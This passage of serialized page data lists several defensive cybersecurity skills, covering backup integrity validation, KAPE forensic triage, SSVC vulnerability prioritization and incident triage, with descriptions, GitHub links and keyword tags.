attestation","policy","verification","ZeRO","firmware","Tools","measured-boot","PCR","integrity","secrets","remote-attestation","tpm2-tools","integrity-verification","trusted-computing",{"skillNo":169,"name":170,"nameZh":6,"description":171,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":172,"categories":173,"keywords":178,"publishedAt":45},"01M6AGDCW0Y4FXZ3362GT1941M","validating-backup-integrity-for-recovery","Validates backup integrity through cryptographic hash verification, automated restore testing, corruption detection, and recoverability checks to confirm backups are reliable for disaster recovery and ransomware response. Use before relying on backups for recovery, when building post-backup validation pipelines, auditing backup infrastructure for compliance, or checking immutable\u002Fair-gapped backups for silent corruption or tampering.","https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Fvalidating-backup-integrity-for-recovery\u002FSKILL.md",[174,177],{"categoryNo":175,"categoryName":176,"taxonomyType":21,"taxonomyTypeDesc":22},"01JBSEEDCAT000000000000008","测试与质量",{"categoryNo":19,"categoryName":20,"taxonomyType":21,"taxonomyTypeDesc":22},[162,179,180,181,182,34,183,184,156,185,186,42,187,188,189,190,191,192,193,194],"backup","recovery","validating backup integrity for recovery","testing","infrastructure","validation","compliance","hash-verification","ransomware","cryptocurrency","detection","t1078","t1490","immutable","disaster-recovery","restore-testing",{"skillNo":196,"name":197,"nameZh":6,"description":198,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":199,"categories":200,"keywords":202,"publishedAt":45},"01M6AGD9GBG2KZ336AE763J3WH","triaging-windows-with-kape","Runs KAPE (Kroll Artifact Parser and Extractor) to collect targeted forensic artifacts (registry hives, $MFT, event logs, prefetch, browser data) via Targets and parse them with Modules wrapping Eric Zimmerman's EZ Tools (PECmd, MFTECmd, RECmd). Use during early incident containment\u002Ftriage when full disk imaging is impractical but a defensible, parseable Windows artifact set is needed quickly, including at-scale remote collection.","https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Ftriaging-windows-with-kape\u002FSKILL.md",[201],{"categoryNo":19,"categoryName":20,"taxonomyType":21,"taxonomyTypeDesc":22},[35,203,204,34,205,206,207,208,209,210,211,212,213,214,215,216,159,217,218,219],"kape","triaging windows with kape","registry","browser","logs","windows-forensics","dfir","mft","mftecmd","data","prefetch","eric-zimmerman","digital-forensics","SET","collection","pecmd","artifact-collection",{"skillNo":221,"name":222,"nameZh":6,"description":223,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":224,"categories":225,"keywords":227,"publishedAt":45},"01M6AGD5PW5J4EVZM958WD74ZQ","triaging-vulnerabilities-with-ssvc-framework","Triages and prioritizes vulnerabilities with CISA's Stakeholder-Specific Vulnerability Categorization (SSVC) decision tree, weighing exploitation status (via the CISA KEV catalog and FIRST EPSS API), technical impact, automatability, and mission prevalence to output Track\u002FTrack*\u002FAttend\u002FAct decisions. Use when prioritizing vulnerability scan results (OpenVAS, Nessus, Qualys) for remediation planning beyond raw CVSS scores.","https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Ftriaging-vulnerabilities-with-ssvc-framework\u002FSKILL.md",[226],{"categoryNo":19,"categoryName":20,"taxonomyType":21,"taxonomyTypeDesc":22},[228,37,229,34,230,231,232,233,234,235,236,237,238,239,240,241,242,243,244,245],"vulnerabilities","triaging vulnerabilities with ssvc framework","status","planning","CISA","vulnerability-management","risk-management","nessus","qualys","openvas","cvss","remediation","risk","vulnerability","api","prioritization","ssvc","decision-tree",{"skillNo":247,"name":248,"nameZh":6,"description":249,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":250,"categories":251,"keywords":253,"publishedAt":45},"01M6AGD24TTQQM4CXG69E3B9TJ","triaging-security-incident","Performs initial triage of security incidents using the NIST SP 800-61r3 and SANS PICERL frameworks, classifying incident type, assigning priority by business impact, and routing to the appropriate response team. Use when a SIEM\u002FEDR alert needs human classification, concurrent alerts must be prioritized, or a user report or threat-intel IOC match requires initial incident categorization.","https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Ftriaging-security-incident\u002FSKILL.md",[252],{"categoryNo":19,"categoryName":20,"taxonomyType":21,"taxonomyTypeDesc":22},[130,254,34,255,256,257,258,259,260,261,262,190,263,191,264,265,266,267,268,269],"triaging security incident","siem","file","ioc","soc","NIST-800-61","NIST","severity","edr","execution","analysis","classification","severity-classification","incident-triage","SANS-PICERL","SOC-operations"]